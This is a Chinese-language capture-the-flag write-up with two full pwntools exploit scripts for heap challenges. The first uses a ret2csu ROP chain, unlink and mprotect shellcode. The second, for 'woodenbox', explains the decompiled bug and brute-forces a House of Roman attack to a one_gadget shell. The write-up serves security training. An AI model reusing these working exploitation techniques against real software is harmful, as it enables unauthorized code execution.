1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from LibcSearcher import *from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./chall' ) else : p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com' , 33314 ) elf = ELF('./chall' , checksec=False ) def amd64_csu (r12, edi, rsi, rdx, last_ret) : global addr_csu_front, addr_csu_end payload = p64(addr_csu_end) payload += p64(0 ) * 2 payload += p64(1 ) payload += p64(r12) payload += p64(rdx) payload += p64(rsi) payload += p64(edi) payload += p64(addr_csu_front) payload += p64(0 ) * 7 payload += p64(last_ret) return payload def add (add_len, add_content) : p.sendlineafter('>> ' , '1' ) p.sendlineafter('______?\n' , str(add_len)) p.sendafter('yes_or_no?\n' , add_content) def delete (delete_idx) : p.sendlineafter('>> ' , '2' ) p.sendlineafter('index ?\n' , str(delete_idx)) def show (show_idx) : p.sendlineafter('>> ' , '3' ) p.sendlineafter('index ?\n' , str(show_idx)) def edit (edit_idx, edit_content) : p.sendlineafter('>> ' , '4' ) p.sendlineafter('index ?\n' , str(edit_idx)) p.sendafter('___new_content ?\n' , edit_content) got_read = elf.got['read' ] rop_leave_ret = 0x4009a9 rop_pop_rbp_ret = 0x400800 rop_ret = 0x400711 addr_chunk_list = 0x6032e0 addr_csu_front = 0x402390 addr_csu_end = 0x4023A6 addr_bss = 0x603500 pd = amd64_csu(got_read, 0 , addr_bss, 0x500 , rop_pop_rbp_ret) pd += p64(addr_bss) pd += p64(rop_leave_ret) p.sendafter('your name? \n' , pd) add(0x90 , '0' * 0x200 ) add(0x10 , '1' * 0x200 ) add(0x60 , '2' * 0x200 ) add(0x60 , '3' * 0x200 ) delete(0 ) add(0x90 , '0' * 0x200 ) show(0 ) addr___malloc_hook = u64(p.recv(6 ).ljust(8 , '\x00' )) - 0x68 libc = LibcSearcher('__malloc_hook' , addr___malloc_hook) libcbase = addr___malloc_hook - libc.dump('__malloc_hook' ) addr_mprotect = libcbase + libc.dump('mprotect' ) addr___free_hook = libcbase + libc.dump('__free_hook' ) pd = p64(0 ) + p64(0x91 ) pd += p64(addr_chunk_list - 0x18 ) + p64(addr_chunk_list - 0x10 ) pd += '\x00' * 0x70 pd += p64(0x90 ) + p64(0x90 ) edit(0 , pd) delete(1 ) pd = p64(0 ) * 3 pd += p64(addr___malloc_hook) + p64(addr_mprotect) pd += asm(shellcraft.cat('/flag' )) edit(0 , pd) edit(0 , p64(addr_csu_end)) p.sendlineafter('>> ' , '1' ) p.sendlineafter('______?\n' , str(0x90 )) pd = p64(addr_bss) pd += amd64_csu(addr_chunk_list + 8 , 0x603000 , 0x1000 , 7 , addr_chunk_list + 0x10 ) p.sendline(pd) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) success('addr_mprotect = ' + hex(addr_mprotect)) success('addr___free_hook = ' + hex(addr___free_hook)) p.interactive()
Flag:
woodenbox Description:
本题由南京航空航天大学Asuri提供。 这是一个木头屋子,里面住着罗马人。 nc 121.36.215.224 9998
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
main 函数如下:
这题主要漏洞点是没有检测数组下标导致程序可以修改后门 a 上面的值,且长度为任意值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); a = malloc (0x70 uLL); b = malloc (0x70 uLL); setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 2 , 0L L); while ( 1 ) { while ( 1 ) { menu(); read(0 , &buf, 8u LL); v3 = atoi(&buf); if ( v3 != 2 ) break ; change_item(); } if ( v3 > 2 ) { if ( v3 == 3 ) { remove_item(); } else { if ( v3 == 4 ) leave(); LABEL_13: puts ("invaild choice!!!" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_item(); } } }
menu 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 int menu () { puts ("----------------------------" ); puts ("Wooden Box Menu" ); puts ("----------------------------" ); puts ("1.add a new item" ); puts ("2.change the item in the box" ); puts ("3.remove the item in the box" ); puts ("4.exit" ); puts ("----------------------------" ); return printf ("Your choice:" ); }
add_item 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 __int64 add_item () { signed int i; int v2; int v3; char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( num > 11 ) { puts ("the box is full" ); } else { printf ("Please enter the length of item name:" ); read(0 , &buf, 8u LL); v2 = atoi(&buf); if ( !v2 ) { puts ("invaild length" ); return 0L L; } for ( i = 0 ; i <= 11 ; ++i ) { if ( !chunk_2020A8[2 * i] ) { *(&itemlist + 4 * i) = v2; chunk_2020A8[2 * i] = malloc (v2); printf ("Please enter the name of item:" ); v3 = read(0 , chunk_2020A8[2 * i], v2); if ( *(chunk_2020A8[2 * i] + v3 - 1 ) == 10 ) *(chunk_2020A8[2 * i] + v3 - 1 ) = 0 ; ++num; return 0L L; } } } return 0L L; }
remove_item 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 unsigned __int64 remove_item () { signed __int64 v0; __int64 *v1; __int64 v2; __int64 v3; signed int i; int v6; char buf; unsigned __int64 v8; v8 = __readfsqword(0x28 u); if ( num ) { printf ("Please enter the index of item:" ); read(0 , &buf, 8u LL); v6 = atoi(&buf); if ( chunk_2020A8[2 * v6] ) { free (chunk_2020A8[2 * v6]); chunk_2020A8[2 * v6] = 0L L; *(&itemlist + 4 * v6) = 0 ; for ( i = 0 ; i <= 10 ; ++i ) { v0 = 16L L * i; v1 = (&itemlist + 16 * (i + 1 )); v2 = *v1; v3 = v1[1 ]; *(&itemlist + v0) = v2; *(&itemlist + v0 + 8 ) = v3; } puts ("remove successful!!" ); --num; } else { puts ("invaild index" ); } } else { puts ("No item in the box" ); } return __readfsqword(0x28 u) ^ v8; }
change_item 函数如下:
可以看到对长度的检测是用 strlen 函数来判断的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned __int64 change_item () { int v0; int v2; int v3; char buf; char nptr; unsigned __int64 v6; v6 = __readfsqword(0x28 u); if ( num ) { printf ("Please enter the index of item:" ); read(0 , &buf, 8u LL); v2 = atoi(&buf); if ( chunk_2020A8[2 * v2] ) { printf ("Please enter the length of item name:" , &buf); read(0 , &nptr, 8u LL); v0 = atoi(&nptr); printf ("Please enter the new name of the item:" , &nptr); v3 = read(0 , chunk_2020A8[2 * v2], v0); if ( *(chunk_2020A8[2 * v2] + v3 - 1 ) == 10 ) *(chunk_2020A8[2 * v2] + v3 - 1 ) = 0 ; *(&itemlist + 4 * v2) = strlen (chunk_2020A8[2 * v2]); } else { puts ("invaild index" ); } } else { puts ("No item in the box" ); } return __readfsqword(0x28 u) ^ v6; }
由此看来我们对堆块大小记录的值是可控的,又因为记载堆地址 a 的大小的地址恰好是记录堆块数量的 num 变量的地址
所以我们可以靠 change_item 函数人为控制 num 的数量,避免出现因 num 而导致的错误
leave 函数如下(挑明本题漏洞点函数):
1 2 3 4 5 void leave () { free (b); free (b); }
这个一看就知道是 House of Roman 了
这题可以利用修改下标 12 的堆块,即 a 堆块,实现除了堆块 a,和堆块 b 外的所有堆块的修改能力
delete 操作会删掉当前堆块和下标为 0 的堆块,所以后面要布置多少个堆块前面就要铺垫多少个堆块
之后就是 House of Roman 了,修改 unsorted bin 为 fastbin,爆破成功拿到 __malloc_hook - 0x23 的地址权限后,再修复 fastbin
再利用 unsorted bin attack 使 __malloc_hook 拥有 main_arena + 88 的地址,最后爆破将其改为 addr_one_gadget ,利用 leave 函数即可提权
赛后看 Nu1L 的 wp 发现还可以拿 _IO_2_1_stdout_ 的 chunk 实现泄露,只需要 1 / 16 的概率就能拿 shell,比我这种方法简单多了
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *debug = 2 context(arch="amd64" , endian='el' , os="linux" ) while True : try : if debug == 1 : p = process('./woodenbox2' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('121.36.215.224' , 9998 ) libc = ELF('./libc6_2.23-0ubuntu11_amd64.so' , checksec=False ) elf = ELF('./woodenbox2' , checksec=False ) def add (name_len, name_content) : p.sendlineafter('Your choice:' , '1' ) p.sendlineafter('item name:' , str(name_len)) p.sendafter('name of item:' , name_content) def edit (edit_idx, edit_len, edit_content) : p.sendlineafter('Your choice:' , '2' ) p.sendlineafter('index of item:' , str(edit_idx)) p.sendlineafter('length of item name:' , str(edit_len)) p.sendafter('name of the item:' , edit_content) def delete (delete_idx) : p.sendlineafter('Your choice:' , '3' ) p.sendlineafter('index of item:' , str(delete_idx)) libc___malloc_hook = libc.sym['__malloc_hook' ] libc_one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] add(0x10 , '0' ) add(0x10 , '1' ) add(0x10 , '2' ) add(0x10 , '3' ) add(0x60 , '4' ) add(0x60 , '5' ) add(0x60 , '6' ) add(0xc0 , '\x00' * 0x68 + p64(0x61 )) add(0x10 , '8' ) delete(0 ) delete(6 ) add(0xc0 , p16(0xcaed )) pd = 'a' * 0x70 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) edit(12 , 0x1000 , pd) delete(3 ) delete(3 ) delete(0 ) pd = 'a' * 2 pd += '\x00' * 0x6e pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0x71 ) edit(12 , 0x1000 , pd + '\xd0' ) add(0x60 , '0' ) add(0x60 , '1' ) add(0x60 , '2' ) delete(1 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x60 pd += p64(0 ) + p64(0x71 ) pd += '\x00' * 0x10 edit(12 , 0x1000 , pd) add(0xc0 , '0' ) add(0x20 , '8' ) delete(0 ) pd += '\x00' * 0x50 pd += p64(0 ) + p64(0x61 ) pd += '\x00' * 0x50 pd += p64(0 ) + p64(0x21 ) pd += '\x00' * 0x10 pd += p64(0 ) + p64(0xd1 ) edit(12 , 0x1000 , pd + p64(0 ) + p16(0xcb00 )) add(0xc0 , '0' ) info('libc___malloc_hook = ' + hex(libc___malloc_hook)) for i in range(0 , len(libc_one_gadget)): info('libc_one_gadget[' + str(i) + '] = ' + hex(libc_one_gadget[i]) + ';offset = ' + hex(libc___malloc_hook - libc_one_gadget[i])) pd = '\x00' * 0x13 pd += '\xa4\x82\x21' edit(2 , 0x1000 , pd) p.sendlineafter('Your choice:' , '4' ) p.recv() p.sendline('ls -la' ) p.recv() p.recv(timeout=0.1 ) p.interactive() break except : p.close() continue
Flag: 1 flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}